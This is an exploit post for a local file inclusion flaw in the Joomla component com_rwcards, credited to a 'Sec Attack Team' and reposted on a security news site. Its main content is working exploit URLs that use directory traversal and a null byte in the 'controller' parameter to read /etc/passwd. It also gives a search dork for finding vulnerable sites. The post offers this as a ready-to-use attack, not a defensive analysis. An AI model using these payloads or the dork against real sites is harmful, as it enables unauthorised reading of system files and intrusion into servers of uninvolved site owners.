Joomla Component com_rwcards – Local File Inclusion

####################################################################

>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]

>>>>> Team : Sec Attack Team

>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>

>>>>> Script : Joomla Component com_rwcards

>>>>> Bug Type : Local File Inclusion [LFI]

>>>>> Dork : inurl:"com_rwcards"

####################################################################

===[ Exploit ]===

http://site/index.php?option=com_rwcards&view=rwcards&controller=[LFI]

http://site/index.php?option=com_rwcards&view=rwcards&controller=../../../../../../../../../../etc/passwd%00

and

http://site/index.php?option=com_rwcards&controller=[LFI]

http://site/index.php?option=com_rwcards&controller=../../../../../../../../../../etc/passwd%00

####################################################################

RxH & ابو عذاب

Post Published: 16 March 2010
Author: Georges Kut
Found in section: Security

Tags: joomla

Previous Topic: osCMax 2.0 (fckeditor) Remote File Upload

Next Topic: Joomla! RokDownloads Component ‘controller’ Parameter Local File Include Vulnerability

News.Dreamings.Org